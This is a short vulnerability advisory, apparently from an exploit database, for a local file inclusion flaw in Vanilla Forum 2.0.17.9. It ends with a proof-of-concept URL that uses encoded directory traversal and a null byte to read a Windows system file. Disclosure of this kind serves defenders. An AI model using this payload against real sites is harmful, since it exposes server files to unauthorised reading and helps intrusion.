Vanilla Forum 2.0.17.9 - Local File Inclusion

Author: AutoSec Tools
type: webapps
platform: php
port: 
date_added: 2011-05-16 
date_updated: 2011-05-16 
verified: 0 
codes: OSVDB-72390 
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Software................Vanilla Forum 2.0.17.9
Vulnerability...........Local File Inclusion
Threat Level............Critical (4/5)
Download................http://www.vanillaforums.com/
Discovery Date..........5/15/2011
Tested On...............Windows Vista + XAMPP
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Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
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--Description--

A local file inclusion vulnerability in Vanilla Forum 2.0.17.9 can be
exploited to include arbitrary files.


--PoC--

http://localhost/vanilla/index.php?p=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini%00